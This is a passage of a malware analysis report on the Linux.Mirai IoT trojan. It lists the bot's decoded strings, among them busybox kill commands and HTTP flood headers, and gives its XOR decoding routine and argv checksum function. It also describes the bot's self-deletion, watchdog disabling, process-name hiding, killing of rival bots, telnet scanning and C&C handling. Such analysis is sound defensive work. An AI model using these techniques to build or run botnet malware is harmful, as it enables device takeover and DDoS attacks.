<td>Value</td>
<td>Purpose</td>
</tr>
<tr>
<td>--------</td>
<td>------------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>16</td>
<td>&quot;zollard&quot;</td>
<td>runkiller</td>
</tr>
<tr>
<td>17</td>
<td>&quot;GETLOCALIP&quot;</td>
<td></td>
</tr>
<tr>
<td>18</td>
<td>Host</td>
<td></td>
</tr>
<tr>
<td>19</td>
<td>Port</td>
<td></td>
</tr>
<tr>
<td>20</td>
<td>&quot;shell&quot;</td>
<td></td>
</tr>
<tr>
<td>21</td>
<td>&quot;enable&quot;</td>
<td></td>
</tr>
<tr>
<td>22</td>
<td>&quot;system&quot;</td>
<td></td>
</tr>
<tr>
<td>23</td>
<td>&quot;sh&quot;</td>
<td></td>
</tr>
<tr>
<td>24</td>
<td>&quot;/bin/busybox MIRAI&quot;</td>
<td></td>
</tr>
<tr>
<td>25</td>
<td>&quot;MIRAI: applet not found&quot;</td>
<td></td>
</tr>
<tr>
<td>26</td>
<td>&quot;ncorrect&quot;</td>
<td></td>
</tr>
<tr>
<td>27</td>
<td>&quot;/bin/busybox ps&quot;</td>
<td></td>
</tr>
<tr>
<td>28</td>
<td>&quot;/bin/busybox kill -9 &quot;</td>
<td></td>
</tr>
<tr>
<td>29</td>
<td>&quot;TSource Engine Query&quot;</td>
<td></td>
</tr>
<tr>
<td>30</td>
<td>&quot;/etc/resolv.conf&quot;</td>
<td></td>
</tr>
<tr>
<td>31</td>
<td>&quot;nameserver&quot;</td>
<td></td>
</tr>
<tr>
<td>32</td>
<td>&quot;Connection: keep-alive&quot;</td>
<td></td>
</tr>
<tr>
<td>33</td>
<td>&quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,<em>/</em>;q=0.8&quot;</td>
<td></td>
</tr>
<tr>
<td>34</td>
<td>&quot;Accept-Language: en-US,en;q=0.8&quot;</td>
<td></td>
</tr>
<tr>
<td>35</td>
<td>&quot;Content-Type: application/x-www-form-urlencoded&quot;</td>
<td></td>
</tr>
<tr>
<td>36</td>
<td>&quot;setCookie(&quot;</td>
<td></td>
</tr>
<tr>
<td>37</td>
<td>&quot;refresh:&quot;</td>
<td></td>
</tr>
<tr>
<td>38</td>
<td>&quot;location:&quot;</td>
<td></td>
</tr>
<tr>
<td>39</td>
<td>&quot;set-cookie:&quot;</td>
<td></td>
</tr>
<tr>
<td>40</td>
<td>&quot;content-length:&quot;</td>
<td></td>
</tr>
<tr>
<td>Number</td>
<td>Value</td>
<td>Purpose</td>
</tr>
<tr>
<td>--------</td>
<td>------------------------------------------------</td>
<td>---------------------------</td>
</tr>
<tr>
<td>41</td>
<td>&quot;transfer-encoding:&quot;</td>
<td></td>
</tr>
<tr>
<td>42</td>
<td>&quot;chunked&quot;</td>
<td></td>
</tr>
<tr>
<td>43</td>
<td>&quot;keep-alive&quot;</td>
<td></td>
</tr>
<tr>
<td>44</td>
<td>&quot;connection:&quot;</td>
<td></td>
</tr>
<tr>
<td>45</td>
<td>&quot;server: dosarrest&quot;</td>
<td></td>
</tr>
<tr>
<td>46</td>
<td>&quot;server: cloudflare-nginx&quot;</td>
<td></td>
</tr>
<tr>
<td>47</td>
<td>&quot;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36&quot;</td>
<td>User Agent</td>
</tr>
<tr>
<td>48</td>
<td>&quot;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36&quot;</td>
<td>User Agent</td>
</tr>
<tr>
<td>49</td>
<td>&quot;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36&quot;</td>
<td>User Agent</td>
</tr>
<tr>
<td>50</td>
<td>&quot;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36&quot;</td>
<td>User Agent</td>
</tr>
<tr>
<td>51</td>
<td>&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7&quot;</td>
<td>User Agent</td>
</tr>
</tbody>
</table>

All samples of the Trojan use a function that hides the following strings:

```python
def decode(str_enc):
    return ''.join([chr(ord(x) ^ 0x22) for x in str_enc])
```

Once launched, the Trojan removes its executable file from the disk, blocks the SIGINT signal with the help of sigprocmask, and sets the parameter SIG_IGN for SIGCHLD and a handler for SIGTRAP.

Then the Trojan tries to open the `/dev/watchdog` file for reading/writing (`/dev/misc/watchdog` is also checked) and, if successful, disables the watchdog timer.

```c
ioctl(fd, WDIOC_SETOPTION, WDIOS_DISABLECARD)
```

The Trojan subsequently opens a root folder and sends a request to the address 8.8.8.8:53 to get the IP address of its network traffic.
Next, the Trojan calculates a function taken from the `argv[0]` value:

```python
def check(name):
    print name
    a = [ord(x) for x in name]
    sum = (0 - 0x51) & 0xff
    for i in [2, 4, 6, 8, 10, 12]:
        z = (~a[i % len(a)] & 0xff)
        sum = (sum + z) & 0xff
        #print "%x %x %x" % (z, sum, sum % 9)
    return sum % 9
```

This function returns a number from 0 to 8 that represents an index in a function array:

```plaintext
off_8055DC0    dd offset bind_socket ; DATA XREF: main+109o
.rodata:08055DC4 dd offset sub_80517E0
.rodata:08055DC8 dd offset sub_8051730
.rodata:08055DCC dd offset create_config
.rodata:08055DD0 dd offset sub_8051760
.rodata:08055DD4 dd offset sub_80523F0
.rodata:08055DD8 dd offset strcpy
.rodata:08055DDC dd offset runkiller
.rodata:08055DE0 dd offset sub_804E900
```

If `argv[0] == "./dvrHelper"`, a parental process receives the SIGTRAP signal (for which a handler was previously installed). The handler, in turn, modifies the IP address taken from the configuration and the C&C server’s port to which the Trojan will connect.

Then a listening socket is opened at the address 127.0.0.1:48101. If this port is busy with another process, the Trojan runs a function that finds the process and kills it.

The Trojan subsequently generates a name that looks like a random sequence containing the characters [a-z 0-9] and writes it to `argv[0]`. Using the `prctl` function, the process’s name is changed to a random one.

Next, the Trojan creates child processes and terminates the parental one. All further steps are performed in a child process—in particular, a structure containing handlers is filled in. Then a function responsible for scanning telnet nodes and a function that terminates the processes of other Trojans are launched. The Trojan then runs a handler for incoming instructions sent from the C&C server. If the Trojan detects that a connection to a local server is being established, it runs a child process to scan vulnerable telnet nodes and terminates the parental process.

The pictures below show a code fragments for Linux.DDoS.87 and Linux.Mirai.
Code fragment for Linux.DDOS.87

Code fragment for Linux.Mirai